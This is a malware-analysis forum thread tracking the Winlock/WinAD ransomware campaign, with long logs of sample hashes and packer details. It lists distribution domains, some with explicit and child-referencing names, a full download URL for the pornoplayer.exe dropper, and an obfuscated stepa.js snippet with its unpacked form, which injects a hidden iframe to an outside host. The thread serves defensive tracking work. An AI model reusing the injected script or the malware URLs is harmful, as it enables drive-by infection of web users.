A forum for reverse engineering, OS internals and malware analysis 

Trojan WinAD (alias Ransom.ER, Winlock, Win32.Timer)

Forum for analysis and discussion about malware.

Re: Trojan.Winlock - WinAD

 #5759  by GMax
 Wed Mar 30, 2011 6:10 pm
actual URL spermTV
incestporevoxxx.info
pornobesplatnovse.info
porevomaloletkibesplatno.info
updated version Mystic Compressor
LegalCopyright: Copyright (c) 2011
InternalName: Mystic
FileVersion: 2.0
ProductName: The space invader corp.
ProductVersion: 2.0))
FileDescription: Mystic compressor
OriginalFilename: Mystic
:D
Attachments
password: malware
(157.28 KiB) Downloaded 59 times

Re: Trojan.Winlock - WinAD

 #5807  by Xylitol
 Mon Apr 04, 2011 4:50 am
WinAD dump, i'm full :)
since 3,4 days the number to call is alway the same but sample is alway repacked with Mystic.
Code: Select all
18/03/2011 - 06:09:40 - FE72935C5302B184E736D0A386C7D14E_pornoplayer.exe.ViR
18/03/2011 - 07:09:40 - 1DECFDB8B2359E3AC04E38FE995133B9_pornoplayer.exe.ViR
18/03/2011 - 08:09:41 - 3AAB73340D32E627189D11D20148E652_pornoplayer.exe.ViR
18/03/2011 - 09:09:41 - C6B3C42F2594F2D533FEB19605DAEC1D_pornoplayer.exe.ViR
18/03/2011 - 10:09:40 - 8B63453CF40FA23BC01240D45D6621F2_pornoplayer.exe.ViR
18/03/2011 - 11:09:40 - 89FAC373F7F1F22A37AB19E8D160F88E_pornoplayer.exe.ViR
18/03/2011 - 12:09:41 - 0C8456E3AF0E26546064617FEA4EDBDE_pornoplayer.exe.ViR
18/03/2011 - 13:09:47 - F7819D21F5D5789CAC6E59D024499FA9_pornoplayer.exe.ViR
18/03/2011 - 14:09:48 - 33B6D67FC82E7569D46894737291268F_pornoplayer.exe.ViR
22/03/2011 - 13:46:41 - 056C0999218D91F23570799B07867811_pornoplayer.exe.ViR
22/03/2011 - 14:46:45 - EDF37C1683D235AE4648DC1A3803F98C_pornoplayer.exe.ViR
22/03/2011 - 15:46:51 - 669601E96860A9B15F0BC26D5EB338C5_pornoplayer.exe.ViR
22/03/2011 - 16:46:51 - 7AEDBB435633A1F505AECDD69F0D46D4_pornoplayer.exe.ViR
22/03/2011 - 17:46:53 - 70EF5C0BF9E1F3B99AC77B6E4427F35F_pornoplayer.exe.ViR
22/03/2011 - 18:46:52 - D9803037B81CF31C1E5311CEA4B615CB_pornoplayer.exe.ViR
22/03/2011 - 19:46:56 - 16E9D2157C6FA8A5A29205AD86A6D0DC_pornoplayer.exe.ViR
22/03/2011 - 20:46:58 - 5397560723D0D229B1CA3CBAF6E8DC56_pornoplayer.exe.ViR
22/03/2011 - 21:47:02 - 9542DC35D037918DACE4D29913A5C574_pornoplayer.exe.ViR
22/03/2011 - 22:47:05 - F840EC926AF8375850105A992DE7C4E4_pornoplayer.exe.ViR
22/03/2011 - 23:47:01 - C89A34A8B8BBBFE282B31EC281A69154_pornoplayer.exe.ViR
23/03/2011 - 00:47:04 - F5950C838A4B3E6D54535AC97B5E5163_pornoplayer.exe.ViR
23/03/2011 - 01:47:04 - B966C359F846A087BEB982F549AF7F88_pornoplayer.exe.ViR
23/03/2011 - 02:47:05 - 22EC780D7C4FF81A93DDC1472763D848_pornoplayer.exe.ViR
23/03/2011 - 03:47:05 - 1D2135E63E5E3A49C773DE03BBDF3F78_pornoplayer.exe.ViR
23/03/2011 - 04:47:06 - 66BCEBF8E438C81BD699DA92BD6D12A9_pornoplayer.exe.ViR
23/03/2011 - 05:47:08 - 5B5351C2B3B282CADFD73C1119985858_pornoplayer.exe.ViR
23/03/2011 - 06:47:09 - 272A0F55BED2F10E72EB430C03E2A388_pornoplayer.exe.ViR
23/03/2011 - 07:47:09 - 53867DA313D8FFA0D9C48406E8D34C4C_pornoplayer.exe.ViR
23/03/2011 - 08:47:09 - F8163D0B017F1B505AF35D864FE3285B_pornoplayer.exe.ViR
23/03/2011 - 09:47:09 - 6459D96465875E4E7380E6ED0A3F8F51_pornoplayer.exe.ViR
23/03/2011 - 10:47:09 - DA83A04BF145D0DA3AE5D1B9CD74E0ED_pornoplayer.exe.ViR
23/03/2011 - 11:47:09 - CA6F617792A20325F752C6BB34F814AF_pornoplayer.exe.ViR
23/03/2011 - 12:47:09 - 83397B772E0B4FFF2E6BAAAE39017F5A_pornoplayer.exe.ViR
23/03/2011 - 13:47:10 - 6CA511ACD5FE425AA6F254800EA65D86_pornoplayer.exe.ViR
23/03/2011 - 14:47:09 - 531F6F975E92655F860115CFCDEDADAB_pornoplayer.exe.ViR
23/03/2011 - 15:47:10 - AB681CBF1202BB74C837D94E2A595814_pornoplayer.exe.ViR
23/03/2011 - 16:47:11 - AE12705BB52BAED9E76F8D27D484A3F7_pornoplayer.exe.ViR
23/03/2011 - 17:47:15 - 3B47007A819727226D75B1789EC1B022_pornoplayer.exe.ViR
23/03/2011 - 18:47:14 - 1C588FA009DBA9C1CDD8216B61BC9176_pornoplayer.exe.ViR
23/03/2011 - 19:47:18 - BF3FAB1DBEEB245F9A95B959191C0790_pornoplayer.exe.ViR
23/03/2011 - 20:47:18 - 6B16EF998C2AB42BB28F72DA8F5A1B00_pornoplayer.exe.ViR
23/03/2011 - 21:47:25 - 67EFBAEBB201F43856C61C5ACDD738E5_pornoplayer.exe.ViR
23/03/2011 - 22:47:27 - A09512E1D09096C8A7DFF3A77B26BCB1_pornoplayer.exe.ViR
23/03/2011 - 23:47:31 - E0153E6EE3647A10AE6BA1EDDA6D09C8_pornoplayer.exe.ViR
24/03/2011 - 00:47:35 - B7576CDF0C1E679E39A4CAF6E9070CBC_pornoplayer.exe.ViR
24/03/2011 - 01:47:49 - 24895968B79748B625A32A463B2C165F_pornoplayer.exe.ViR
24/03/2011 - 02:47:55 - F1FBF3FF3886C4FFD07D1A5D3CBDCEDD_pornoplayer.exe.ViR
24/03/2011 - 03:47:58 - 074CE4BC651D94721F5EEEF2813CDFBE_pornoplayer.exe.ViR
24/03/2011 - 04:47:59 - 24C45B69B970EC65EDC9A7F2E38A97BB_pornoplayer.exe.ViR
24/03/2011 - 05:48:02 - 7D7F468903BA28AEBE58134CE0136ADC_pornoplayer.exe.ViR
24/03/2011 - 06:48:02 - BE2EA2DED68E60B138254BC976287775_pornoplayer.exe.ViR
24/03/2011 - 07:48:02 - F6C3C82185888C88960B440634F59E34_pornoplayer.exe.ViR
24/03/2011 - 08:48:02 - 1420C1871E20FC0778DB00E44F7FF98F_pornoplayer.exe.ViR
24/03/2011 - 09:48:02 - 5503E0B8E0531B9D9F259E9E84DE186E_pornoplayer.exe.ViR
24/03/2011 - 10:48:02 - B43B5CACF54C524C01647F5B67943493_pornoplayer.exe.ViR
24/03/2011 - 11:48:02 - 690F88E6DBFC5B2B9757546B4519F722_pornoplayer.exe.ViR
24/03/2011 - 12:48:02 - 6E4D7B689F595BFB55ED0B836495D19C_pornoplayer.exe.ViR
24/03/2011 - 13:48:05 - 5275EE01E2E5A7EA24947204384D529C_pornoplayer.exe.ViR
24/03/2011 - 14:48:08 - D70AB2174DE64A49B156B56305AF6EAC_pornoplayer.exe.ViR
24/03/2011 - 17:34:32 - 33AC5E2468DFADFEAF4BCDB5F7022767_pornoplayer.exe.ViR
24/03/2011 - 18:34:36 - 3ADB7735D06F9D3E15293877D099C5CC_pornoplayer.exe.ViR
24/03/2011 - 19:34:36 - 5FE78C57BB7F0655A903F463F0EF3C2B_pornoplayer.exe.ViR
24/03/2011 - 20:34:38 - D054AD2F6DE4942C1C348473AAF361C2_pornoplayer.exe.ViR
24/03/2011 - 21:34:40 - F5F86F9ED8152E5562F89C0B4697F05D_pornoplayer.exe.ViR
24/03/2011 - 22:34:44 - CCB53BAAFE1D9B1AD86CEFD7E1A3A6B6_pornoplayer.exe.ViR
24/03/2011 - 23:34:40 - D037FA0E7FFF44E6595F927D1EB27950_pornoplayer.exe.ViR
25/03/2011 - 00:34:40 - EE236EEE079FA7E83488308A005EA032_pornoplayer.exe.ViR
30/03/2011 - 22:36:00 - 8013A384E18F8A01E6C44AF57DBDAAAD_pornoplayer.exe.ViR
30/03/2011 - 23:36:02 - 53EF2C785F92E97F4534669E72AFD139_pornoplayer.exe.ViR
31/03/2011 - 00:36:04 - E951FCDACB7833BE2E4478B02394C24F_pornoplayer.exe.ViR
31/03/2011 - 01:36:04 - 9CCFC810D242EB672285A4ADE78A363D_pornoplayer.exe.ViR
31/03/2011 - 02:36:06 - 23B799A3A46F2A5D71764C6BCCC21380_pornoplayer.exe.ViR
31/03/2011 - 03:36:08 - C5FCEB1F8B6839665EB6E36FFCA66FB4_pornoplayer.exe.ViR
31/03/2011 - 04:36:18 - 424ECBCA63EF61DCD169AFC7E143936C_pornoplayer.exe.ViR
31/03/2011 - 05:36:24 - 73E5FF717476035A375A8D93BC5CFAB8_pornoplayer.exe.ViR
31/03/2011 - 05:53:09 - 73E5FF717476035A375A8D93BC5CFAB8_pornoplayer.exe.ViR
31/03/2011 - 06:02:09 - 1C1B11978B21F3FB9CF3DA9069F8D765_pornoplayer.exe.ViR
31/03/2011 - 06:06:57 - 1C1B11978B21F3FB9CF3DA9069F8D765_pornoplayer.exe.ViR
31/03/2011 - 07:06:58 - 9C6A24F1A4899729BB673A38D4ACBD05_pornoplayer.exe.ViR
31/03/2011 - 08:07:00 - 217D121A571570AB3802FADC844B8602_pornoplayer.exe.ViR
31/03/2011 - 09:07:00 - C9E769788B9C06D3EB20C349289977E8_pornoplayer.exe.ViR
31/03/2011 - 10:07:01 - 3BA3FF4E1B765B0B1D14BFE6639379E9_pornoplayer.exe.ViR
31/03/2011 - 11:07:01 - 9B5607B496E2BE31B7D8A829FE414CE5_pornoplayer.exe.ViR
31/03/2011 - 12:07:01 - 699BD35398D2808867038CA376E5A926_pornoplayer.exe.ViR
31/03/2011 - 13:07:02 - 4809E581F558EA1CC8587FEBEE2FA223_pornoplayer.exe.ViR
31/03/2011 - 14:07:02 - 5E456277514D9CB0D515AC182736E1AA_pornoplayer.exe.ViR
31/03/2011 - 15:07:03 - 647A4CD82F0743F20517419AEDEE5EEC_pornoplayer.exe.ViR
31/03/2011 - 16:07:03 - 2568EEC5DDAC646B0D9441920D2652BD_pornoplayer.exe.ViR
31/03/2011 - 17:07:05 - 6D4AFC1F8AB178DB28D7F9E0E97EC186_pornoplayer.exe.ViR
31/03/2011 - 18:09:47 - 0681F118C65317D8D4362ED889D42E59_pornoplayer.exe.ViR
31/03/2011 - 19:09:48 - 6B9055AC1B632F58D7BCADDC08DE5D2E_pornoplayer.exe.ViR
31/03/2011 - 20:09:49 - F0DAF439F60926D3602D929D316D3996_pornoplayer.exe.ViR
31/03/2011 - 21:09:50 - 7FC58E1E3CB3320FE494E1C9F3DC5CCC_pornoplayer.exe.ViR
31/03/2011 - 22:09:51 - EC7E43FD6891F37A32A80448F9D69285_pornoplayer.exe.ViR
31/03/2011 - 23:09:51 - 21FD9F289E42E4989A6D9F18C3A0A9E1_pornoplayer.exe.ViR
01/04/2011 - 00:09:52 - 22DB000EC0BAFFB0BBF8D5E9D893648B_pornoplayer.exe.ViR
01/04/2011 - 01:09:55 - 29AC7D7EEC2F98529B6E3EB878830625_pornoplayer.exe.ViR
01/04/2011 - 02:09:55 - 08EDB3A1D383AF08B0A6AD9B076ADDEC_pornoplayer.exe.ViR
01/04/2011 - 03:09:55 - 935260A42A702DE4574DC83A949A8585_pornoplayer.exe.ViR
01/04/2011 - 04:09:55 - 38382C076D80FB16D46B571FE89E2F6F_pornoplayer.exe.ViR
01/04/2011 - 05:09:55 - E1BE5DCD00B4BABA8FBB0BC698FA399F_pornoplayer.exe.ViR
01/04/2011 - 06:09:55 - E383EDD23D9A15229D2998517F37D3F3_pornoplayer.exe.ViR
01/04/2011 - 07:09:55 - 52438B1C2FF11F4FC72D61C118BE349C_pornoplayer.exe.ViR
01/04/2011 - 08:09:55 - D9170B175C6492D430207202386BDFF8_pornoplayer.exe.ViR
01/04/2011 - 09:09:55 - 2F7350A225EAAF72447224801AB21218_pornoplayer.exe.ViR
01/04/2011 - 10:09:55 - 6B64ED9FBE574D7536886B2D586EEEFE_pornoplayer.exe.ViR
01/04/2011 - 11:09:55 - 4A214844829140B21A2EF674256033F1_pornoplayer.exe.ViR
01/04/2011 - 12:09:55 - 493ECA8F596376963B3C08564D414FD6_pornoplayer.exe.ViR
01/04/2011 - 13:09:59 - 09538109B262DB08E9312FAE25CB1812_pornoplayer.exe.ViR
01/04/2011 - 14:09:58 - F64FA9202E886F04639698B9FF02EA87_pornoplayer.exe.ViR
01/04/2011 - 15:09:57 - 22B700026227D71A6FB0BCCF26CD6270_pornoplayer.exe.ViR
01/04/2011 - 16:10:00 - 6E94E992346487F21523AFA579826262_pornoplayer.exe.ViR
01/04/2011 - 17:10:08 - 929520F8FE839C75E663EC23837CACA3_pornoplayer.exe.ViR
01/04/2011 - 18:10:06 - 0A4972C3A4CD5D47A2DA9A5B70A184FB_pornoplayer.exe.ViR
01/04/2011 - 19:10:29 - 7593AE33D7B79E229AE04D6C7B05AE11_pornoplayer.exe.ViR
01/04/2011 - 20:10:38 - 84B6164EB98DF2ED0D32EDDF2010A1B5_pornoplayer.exe.ViR
01/04/2011 - 21:10:41 - 3E295CE1D75D7A9907B739DBCE149096_pornoplayer.exe.ViR
01/04/2011 - 22:10:46 - D3558EB9C67046409B1D84C22CC16859_pornoplayer.exe.ViR
01/04/2011 - 23:10:46 - 6C42F514EFC6C7CB5C4D7D12B483106F_pornoplayer.exe.ViR
02/04/2011 - 00:10:50 - 89188DC1939C67441F62EC023631F41E_pornoplayer.exe.ViR
02/04/2011 - 01:10:52 - 3C084065D79CCAB23715E71D34C85F58_pornoplayer.exe.ViR
02/04/2011 - 02:10:53 - 53F37A397B8D3989954E737A3613DB1F_pornoplayer.exe.ViR
02/04/2011 - 03:10:54 - 80BF5BEBA716DBB70A2E23832E756F8C_pornoplayer.exe.ViR
02/04/2011 - 04:10:54 - B39CB0EB931D9293F73173AF0BC17A3E_pornoplayer.exe.ViR
02/04/2011 - 05:10:55 - 2F94D07C465999B73D9397BDE9A3C10D_pornoplayer.exe.ViR
02/04/2011 - 06:10:57 - 13B271DE4352CD8EF707C965F42CFFBE_pornoplayer.exe.ViR
02/04/2011 - 07:10:57 - 37959963BC646EB5B52A607F8D06A6E2_pornoplayer.exe.ViR
02/04/2011 - 08:11:07 - 7CAC502D19550069983DEBCBF5EBB4F1_pornoplayer.exe.ViR
02/04/2011 - 09:11:12 - 3FEA3089D7C4ED719FE2BE6E0EA5FC7D_pornoplayer.exe.ViR
02/04/2011 - 10:11:13 - 53137643DB1C360C48067F88C0A8135D_pornoplayer.exe.ViR
02/04/2011 - 11:01:04 - 53137643DB1C360C48067F88C0A8135D_pornoplayer.exe.ViR
02/04/2011 - 11:21:21 - BE5A8925C010FF38F7AA46A5329ACCAA_pornoplayer.exe.ViR
02/04/2011 - 12:21:22 - 2E960CF764E4EF1C52D0EC2198680547_pornoplayer.exe.ViR
02/04/2011 - 13:21:22 - 4D1640F956784ACA256BA7557B41BD5B_pornoplayer.exe.ViR
02/04/2011 - 14:21:22 - 8749EBE09AE9B552232018B321BEEA7D_pornoplayer.exe.ViR
02/04/2011 - 15:21:23 - A8B9A3D214EDC952015E113088C90BA7_pornoplayer.exe.ViR
02/04/2011 - 16:21:24 - 87B639666539C3698F496823FAC11DC8_pornoplayer.exe.ViR
02/04/2011 - 17:21:26 - 53E8A4634F755D2EB6FA0F95D064BB5F_pornoplayer.exe.ViR
02/04/2011 - 20:16:35 - 6169D5D1DD905FE2CEEAD5AC0F136AFD_pornoplayer.exe.ViR
02/04/2011 - 21:16:38 - 94D71F4C114CFD75DFF00D47693B8450_pornoplayer.exe.ViR
02/04/2011 - 22:16:39 - 1FAB3EB4C6DD7791012F81FD8F32B14D_pornoplayer.exe.ViR
02/04/2011 - 23:16:42 - 76E1F4965F7129675D357D2A43B86190_pornoplayer.exe.ViR
03/04/2011 - 00:16:45 - F2A51FDFD64388436EF35B6A25F9C27A_pornoplayer.exe.ViR
03/04/2011 - 01:16:49 - E628169F47D6EB1549029BC75F2A8E71_pornoplayer.exe.ViR
03/04/2011 - 02:16:51 - 8DDEFB6F4019CFA8F572E85C9E964E77_pornoplayer.exe.ViR
03/04/2011 - 03:16:53 - BB26DF71A1AB8856068F8DBA6037C3C8_pornoplayer.exe.ViR
03/04/2011 - 04:16:58 - 469E824F00939979EC14DE9592E1E0B5_pornoplayer.exe.ViR
03/04/2011 - 05:16:58 - FBF6358929EB3CC4FEA3E711D238C904_pornoplayer.exe.ViR
03/04/2011 - 06:16:58 - 6919265F08F6C14AE485D685317B5046_pornoplayer.exe.ViR
03/04/2011 - 07:16:58 - FF802F9EB1DE099F44F70DAB6FEF44B8_pornoplayer.exe.ViR
03/04/2011 - 08:16:58 - A7E320FC9981257C1F281B545F62A9E9_pornoplayer.exe.ViR
03/04/2011 - 09:16:58 - 062FA9C2E32EF0422554DB34F7B0EE71_pornoplayer.exe.ViR
03/04/2011 - 10:16:58 - AD014BB2088FF202FCF739D95F6C0E11_pornoplayer.exe.ViR
03/04/2011 - 11:16:58 - 2C6076428DDD2F8DC148035C03D70F1F_pornoplayer.exe.ViR
03/04/2011 - 12:16:58 - 41C45129E9492C649C925867B4F4D495_pornoplayer.exe.ViR
03/04/2011 - 13:16:58 - 6AF4FBC856648E56D82D14F33566D3A4_pornoplayer.exe.ViR
03/04/2011 - 14:16:59 - 956AB3576AD99B331EBC54C8AAAAAFB8_pornoplayer.exe.ViR
03/04/2011 - 15:17:01 - B5CC4F75239C851022AFA342F800AA22_pornoplayer.exe.ViR
03/04/2011 - 16:17:04 - 955553FCE91DE436423ABE9B05639DA2_pornoplayer.exe.ViR
03/04/2011 - 17:17:06 - 754724F41786294503FCE12D9CB44FE5_pornoplayer.exe.ViR
03/04/2011 - 18:17:08 - F6327CBCFBC7A1645EDEB6F57EA4C08D_pornoplayer.exe.ViR
03/04/2011 - 19:17:10 - 5529A2F0BB1B11612207D5BA6534F067_pornoplayer.exe.ViR
03/04/2011 - 20:17:23 - 5317C82A77F3FB42C519D7CFCDDA643E_pornoplayer.exe.ViR
03/04/2011 - 21:17:23 - 7FECE2EA470F9BF644F481F664178441_pornoplayer.exe.ViR
03/04/2011 - 22:17:25 - 2157176407EFE94E165327863C3366AB_pornoplayer.exe.ViR
03/04/2011 - 23:17:25 - 55AFAE8B882154D040A46CE68E39E0FF_pornoplayer.exe.ViR
04/04/2011 - 00:17:26 - F50A8CF1603A06C2A705189BFE5A7465_pornoplayer.exe.ViR
04/04/2011 - 01:17:28 - B8C50B198BFD2A722B2301C4FADACEAD_pornoplayer.exe.ViR
04/04/2011 - 02:17:30 - 1DD8FB3B3B2757E6D7EBD7A420A90097_pornoplayer.exe.ViR
04/04/2011 - 03:17:30 - BC7D8F2CF22C4298E3F0F88A650241AE_pornoplayer.exe.ViR
04/04/2011 - 04:17:30 - 4ACA7F8A2439A6DD919F4025934FB14F_pornoplayer.exe.ViR
04/04/2011 - 05:17:30 - 353B4B4E4968EAFA34340151B640E7BA_pornoplayer.exe.ViR
pornobesplatnovse.info site got a wierd update.

Image
Attachments
See archive comment for password
(4.78 MiB) Downloaded 56 times
See archive comment for password
(4.87 MiB) Downloaded 54 times
See archive comment for password
(4.97 MiB) Downloaded 57 times

Re: Trojan.Winlock - WinAD

 #5861  by Xylitol
 Fri Apr 08, 2011 1:18 am
incestporevoxxx.info seem down (403 forbidden since yesterday, gmt+1)
Other domains have changed, interesting this time with no spermTV pack but something similar to the old homoblocker page

Image

stepa.js:
Code: Select all
var _0x63a3=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x63\x6C\x65\x61\x72\x5F\x62\x6C\x6F\x63\x6B","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x69\x32\x72\x74\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6F\x72\x75\x6D\x2E\x70\x68\x70\x3F\x74\x70\x3D\x65\x64\x31\x62\x63\x35\x35\x37\x30\x39\x33\x65\x37\x35\x65\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x31\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x31\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E"];document[_0x63a3[2]](_0x63a3[1])[_0x63a3[0]]=_0x63a3[3];
unpack:
Code: Select all
document['getElementById']('clear_block')['innerHTML'] = '<iframe src="http://i2rt.co.cc/forum.php?tp=ed1bc557093e75e0" width="1" height="1" scrolling="no" frameborder="0"></iframe>';
Edit: yep the homoblocker is back with mystic :p
Image
Code: Select all
Number to Call: 9652537359
Code to unlock: THE TROOPER
Last dump from my malware bot: 3-4-5-6-7 apr

Logs:
Code: Select all
03/04/2011 - 08:16:58 - A7E320FC9981257C1F281B545F62A9E9_pornoplayer.exe.ViR
03/04/2011 - 09:16:58 - 062FA9C2E32EF0422554DB34F7B0EE71_pornoplayer.exe.ViR
03/04/2011 - 10:16:58 - AD014BB2088FF202FCF739D95F6C0E11_pornoplayer.exe.ViR
03/04/2011 - 11:16:58 - 2C6076428DDD2F8DC148035C03D70F1F_pornoplayer.exe.ViR
03/04/2011 - 12:16:58 - 41C45129E9492C649C925867B4F4D495_pornoplayer.exe.ViR
03/04/2011 - 13:16:58 - 6AF4FBC856648E56D82D14F33566D3A4_pornoplayer.exe.ViR
03/04/2011 - 14:16:59 - 956AB3576AD99B331EBC54C8AAAAAFB8_pornoplayer.exe.ViR
03/04/2011 - 15:17:01 - B5CC4F75239C851022AFA342F800AA22_pornoplayer.exe.ViR
03/04/2011 - 16:17:04 - 955553FCE91DE436423ABE9B05639DA2_pornoplayer.exe.ViR
03/04/2011 - 17:17:06 - 754724F41786294503FCE12D9CB44FE5_pornoplayer.exe.ViR
03/04/2011 - 18:17:08 - F6327CBCFBC7A1645EDEB6F57EA4C08D_pornoplayer.exe.ViR
03/04/2011 - 19:17:10 - 5529A2F0BB1B11612207D5BA6534F067_pornoplayer.exe.ViR
03/04/2011 - 20:17:23 - 5317C82A77F3FB42C519D7CFCDDA643E_pornoplayer.exe.ViR
03/04/2011 - 21:17:23 - 7FECE2EA470F9BF644F481F664178441_pornoplayer.exe.ViR
03/04/2011 - 22:17:25 - 2157176407EFE94E165327863C3366AB_pornoplayer.exe.ViR
03/04/2011 - 23:17:25 - 55AFAE8B882154D040A46CE68E39E0FF_pornoplayer.exe.ViR
04/04/2011 - 00:17:26 - F50A8CF1603A06C2A705189BFE5A7465_pornoplayer.exe.ViR
04/04/2011 - 01:17:28 - B8C50B198BFD2A722B2301C4FADACEAD_pornoplayer.exe.ViR
04/04/2011 - 02:17:30 - 1DD8FB3B3B2757E6D7EBD7A420A90097_pornoplayer.exe.ViR
04/04/2011 - 03:17:30 - BC7D8F2CF22C4298E3F0F88A650241AE_pornoplayer.exe.ViR
04/04/2011 - 04:17:30 - 4ACA7F8A2439A6DD919F4025934FB14F_pornoplayer.exe.ViR
04/04/2011 - 05:17:30 - 353B4B4E4968EAFA34340151B640E7BA_pornoplayer.exe.ViR
04/04/2011 - 07:17:38 - 3BF409679E80F5B82D80B0291F70AAC7_pornoplayer.exe.ViR
04/04/2011 - 08:17:38 - AE1C8A739179F71C5EAABA8D858DCF68_pornoplayer.exe.ViR
04/04/2011 - 09:17:41 - 3BCD7D001AF35F4FCF249BF2391A06F0_pornoplayer.exe.ViR
04/04/2011 - 10:17:43 - 585A33477CFECA945A7EB5520962C4D0_pornoplayer.exe.ViR
04/04/2011 - 11:17:44 - 37955618B6B8A60357B63BFAF4A4ACB4_pornoplayer.exe.ViR
04/04/2011 - 12:17:45 - 3371253152307A01CFE31A9C1226763D_pornoplayer.exe.ViR
04/04/2011 - 13:17:46 - E9B2F0E9DEC19E3F1D3886ED8FA401D2_pornoplayer.exe.ViR
04/04/2011 - 14:17:55 - 001F7212FC3B61F1973923C0FBF30602_pornoplayer.exe.ViR
04/04/2011 - 15:17:58 - D96E6D87E221053CB3BA0BD4C43D385A_pornoplayer.exe.ViR
04/04/2011 - 16:18:02 - CD4F6240ED32FC5564C7974DDB0FC942_pornoplayer.exe.ViR
04/04/2011 - 17:18:06 - E4D81EEDD17C6B59456AB8458DFEC9C0_pornoplayer.exe.ViR
04/04/2011 - 18:18:06 - CB381D6C8EC09187E02BD350D82892D7_pornoplayer.exe.ViR
04/04/2011 - 19:18:13 - 1F923B39A035B5185CF8B1317EBA52C2_pornoplayer.exe.ViR
04/04/2011 - 20:18:14 - DA5684B31ABFB70976D944A7B231002B_pornoplayer.exe.ViR
04/04/2011 - 21:18:16 - 2FC9E5A9F24EF4DD080EF2EF8AFC783D_pornoplayer.exe.ViR
04/04/2011 - 22:18:15 - FE6FD031FBB0E89365C2705A1D1AF188_pornoplayer.exe.ViR
04/04/2011 - 23:18:18 - 2FE19A0E0E848771BA098FF40123A49D_pornoplayer.exe.ViR
05/04/2011 - 00:18:20 - E1CD78B79CCF33E59CCDFE5938F021FE_pornoplayer.exe.ViR
05/04/2011 - 01:18:42 -  Timeout: http://incestporevoxxx.info/92rxw6e4bre92i6lt7x9m9gvk9m3vafe/pornoplayer.exe
05/04/2011 - 02:18:30 - 448B15A22DC080A63D4216A2C090A70C_pornoplayer.exe.ViR
05/04/2011 - 03:18:31 - 57CC2BD9978E3B8A9E6EA0E00CD6145E_pornoplayer.exe.ViR
05/04/2011 - 04:18:33 - 949B099705329AE51C1D7F796BB2B6B7_pornoplayer.exe.ViR
05/04/2011 - 05:18:33 - E6C50A1A79C6000D74625F7F0F134F34_pornoplayer.exe.ViR
05/04/2011 - 06:18:33 - 8111FF4FC44F08AF27529E060045BE0F_pornoplayer.exe.ViR
05/04/2011 - 07:18:33 - 7C72480836FD4D6E6EE69DFBEA4A07D8_pornoplayer.exe.ViR
05/04/2011 - 08:18:33 - 85997D0144F4AC8DD6A67D4328B2D6FC_pornoplayer.exe.ViR
05/04/2011 - 09:18:33 - DA5D90462C04DC4D3CF609FA8A8A264E_pornoplayer.exe.ViR
05/04/2011 - 10:18:33 - 1CAA2EF0B0F4151B3CEC47D021DD6270_pornoplayer.exe.ViR
05/04/2011 - 11:18:33 - 233740E571475D46ACF6586F6C094F07_pornoplayer.exe.ViR
05/04/2011 - 12:18:33 - FBF96A6012C6E8BA3E04F6EE091EFD45_pornoplayer.exe.ViR
05/04/2011 - 13:18:34 - 594343C7D4C5DC24BC54AA77F7EF9CAC_pornoplayer.exe.ViR
05/04/2011 - 14:18:35 - 6CEAA13597260EA6A7652B79BD1EF13C_pornoplayer.exe.ViR
05/04/2011 - 15:18:34 - B2611B17346B6C6E99831EF48CD74613_pornoplayer.exe.ViR
05/04/2011 - 16:18:34 - 6DC2955473DFD988EEA953B1B7ACBB93_pornoplayer.exe.ViR
05/04/2011 - 17:18:36 - 7604789715A87C0A3636FAAC045197D5_pornoplayer.exe.ViR
05/04/2011 - 18:18:36 - 0321E0C459285CB1D9AD018636C3B704_pornoplayer.exe.ViR
05/04/2011 - 19:18:37 - E3B7DA1F243C581C7B7A08DAC2BE56BD_pornoplayer.exe.ViR
05/04/2011 - 20:18:40 - 296BEEE63E58736BB657BDF5BA321AF8_pornoplayer.exe.ViR
05/04/2011 - 21:18:43 - 5D42A7018A8AA21A22069C7B0CF4E411_pornoplayer.exe.ViR
05/04/2011 - 22:18:45 - 215E47AE81273556A3C3E9CEAEA3A152_pornoplayer.exe.ViR
05/04/2011 - 23:19:11 - FF95AA1BC563E6DB8FBD6F56C34E4591_pornoplayer.exe.ViR
06/04/2011 - 00:19:13 - 3647318429BB2B8720A98A17C534B46C_pornoplayer.exe.ViR
06/04/2011 - 01:19:15 - A8F9BD5E8A0064C5C2075685103D6DD6_pornoplayer.exe.ViR
06/04/2011 - 02:19:17 - DE05A4C255910716AF6EEFC2A2B5B47D_pornoplayer.exe.ViR
06/04/2011 - 03:19:22 - AAC10522DCCE2F9E767F2842F1016289_pornoplayer.exe.ViR
06/04/2011 - 04:19:22 - 7B99D9CCBEDC3D5D9D1E9347389A8143_pornoplayer.exe.ViR
06/04/2011 - 05:19:22 - 1D4A923A48E7085E9B0743794F9FEE37_pornoplayer.exe.ViR
06/04/2011 - 06:19:34 - 8FCE92F2D2C03FBE24B154DF0D35B34F_pornoplayer.exe.ViR
06/04/2011 - 07:19:58 - 3502C21AB4A5BE06730C69B09D638D1B_pornoplayer.exe.ViR
06/04/2011 - 08:20:03 - E80661F582A4AB34EE787AEFAA1E211A_pornoplayer.exe.ViR
06/04/2011 - 09:20:04 - A070624D7FA239329C4D07CDD7325933_pornoplayer.exe.ViR
06/04/2011 - 10:20:14 - 8F1C3D01EB6014711FBAB60905742ADC_pornoplayer.exe.ViR
06/04/2011 - 11:20:19 - 8AD9D8637FA72597640E9E243449E307_pornoplayer.exe.ViR
06/04/2011 - 12:20:21 - 68474393246A9962E48009F708954C49_pornoplayer.exe.ViR
06/04/2011 - 13:20:22 - C0F3AF2523FAD7154F94431DFA4773F6_pornoplayer.exe.ViR
06/04/2011 - 14:20:23 - 2017748BA95C7A5B873B0C63172A86FD_pornoplayer.exe.ViR
06/04/2011 - 15:20:29 - E7469D7EADAD3D0C6900C31443D4A689_pornoplayer.exe.ViR
06/04/2011 - 16:20:56 - 4CC7F64A3C86D54FB10C7EBB2EE1BFC3_pornoplayer.exe.ViR
